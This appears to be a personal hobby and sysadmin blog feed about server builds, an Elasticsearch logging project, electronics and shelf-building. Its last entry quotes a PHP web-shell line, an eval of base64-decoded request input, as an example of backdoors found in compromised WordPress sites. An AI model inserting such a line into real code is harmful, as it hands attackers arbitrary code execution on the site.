These boxes now have Debian installed and are ready to go to the Datacentre. They are going to be part of my logging project and will be hosting an Elasticsearch cluster. These are nice machines, they should do well. Massive IO with all these disks, heaps of RAM and 16 cores to index all the things =)

Looks like maybe heat was not the issue. Perhaps the mainboard is toast. During RAM testing with single sticks in combination with differing single slots I discovered that my RAM appears to be good, but for some unknown reason the board is trying to run DDR3 on the second slot at just 200MHz. The machine passes both sticks in the first slot and also does not exhibit any issues with just one stick of RAM in the first slot. Fun times =(

I was able to bandaid it while I wait to get a new board by underclocking the RAM substantially.

Today my random eBay shunt box arrived. I spotted this one on eBay and bought it straight away. $15. I stripped it during lunch at work and kept only the voltage and current meters and some switches. Pretty good salvage for $15, considering a 300V volt meter and 30A current meter with it's shunt is probavly worth over $50.

House server "brick" from atom with 1G to Xeon x3220 with 8G and a mobo that has SATA2. It now doesn't fall to it's knees when indexing things in elasticsearch or when you glance at it. I'm over my super low power phase, It needs to be able to get shit done...

Desktop to 8G RAM, it now plays BF4 much more reasonably.

Today I spent a bit of time stripping down the TV boards that I salaved. I was looking for the flybacks (mainly), but also saved some high voltage transistors and diodes from the TV boards.

Terrible problems with the PC at the moment, it looks like heat is the issue. I tore everything down and cleaned it.

Today I managed to get my Mazilli ZVS Oscillator running with a flyback out of a PC monitor which I scrapped. There are more photos in the gallery.

The new lab shelves are finished and the gear is all set up. They look great.

The sash clamps have arrived and work great. eBay specials of course. They were fun to walk home with - 12kgs. The picture shows one of the shelves with edge banding being glued up.

My Cisco 1231 access point arrived. This is going outside. Not bad for $30.

Runs off POE, does 802.11B and G, handles multiple SSIDs and VLANS. Fun =)

It will take a tiny bit of messing around because it doesn't have an autonomous IOS on it, the LWAP image will have to go.

Today I used a jig that I made aaages ago for trimming edge banding. The jig worked great, but the result wasn't that great. The banding was not being adequately clamped to the shelving - so there were gaps. I broke the edge banding off, sanded the glue off the shelf and the banding and I'm going to wait until I get some sash clamps.

The glue is now dry on the shelving supports and they are now bolted onto the desk. They look good so far.

Just finished installing two NetApp filers and 7 24 disk shelves at the data center. Approximately 300kg of gear. 150TB raw storage. It took us 3 car trips. Unfortunately I can't take photos at the DC. So here is a photo of the box =)

I started work today on a new set of shelves which will bolt to the back of my lab desk. I am using standard 70x35mm cheap construction pine with 18x90 finished pine for horizontals. The shelves themselves will be made from a big sheet of black melamine MDF that I salvaged from the store I used to work in.

Hot plugging RAM into a Debian VM (for shits and giggles). It actually works.

for a in `ls /sys/devices/system/memory/memory*/state`;
do
echo "online" > $a;
done 2>/dev/null;
grep offline /sys/devices/system/memory/memory*/state

Baby drills and taps have arrived (terrible photo). M3 and M4 drills. 2.5mm and 3.5mm drills. I can now drill and tap CPU heatsinks for MOSFET cooling.

I had a crack at making a ZVS (zero voltage switching) driver for a flyback transformer I pulled of a monitor board. No Joy. I have one MOSFET wired backward =/ I just noticed in the diagram I was following that the bottom of the two MOSFETs was flipped vertically to make the diagram look neater...

Just wrote a multi threaded SNMP tool for fetching SNMP from over 170 cPanel hosts doing 20 requests in parallel. This is my first multi-thteaded python script. It uses python threads and zeromq to hand out jobs, receive results and to control the worker threads.

Much faster than the old for loop.

Now I wish the new elasticsearch box would arrive so I can dump the data in there!

Today I built some prototype RS485 nodes for a project I am working on with a mate. Each RS485 node is going to be equipped with a pic micro controller to do any logic or to connect with peripheral sensors. At the stage the pic16f88 because it has all the goodies like built in USART and ADC etc. I may make a different version with a 40 pin pic either a big DIP one or a QFN or something.

The nodes will be auto-terminating. So when you add a node to the end of the bus, it will terminate the line and tell the node before it to stop terminating the bus.

I tried out a new technique using enamelled copper wire for these prototypes.

145,755,658 lines of PHP indexed for searching as part of a migration project I am contributing to. Once I get some spare time at work (hah!) I may use the data to try and detect some nasty code - eg some compromised sites and such.

The old classic code injection technique. When an attacker adds this to your PHP it's basically open slather for them to execute whatever code they POST or GET to c_id.

@eval(base64_decode($_REQUEST['c_id']));

I see this type of thing the most in wordpress installs. People don't keep wordpress (AND i'ts plugins / themes) up to date and then suffer the consequences - typically this sort of attack is not targetted, it's an automated tool which will probe wordpress installs for vunerabilities until it finds one it can comromise.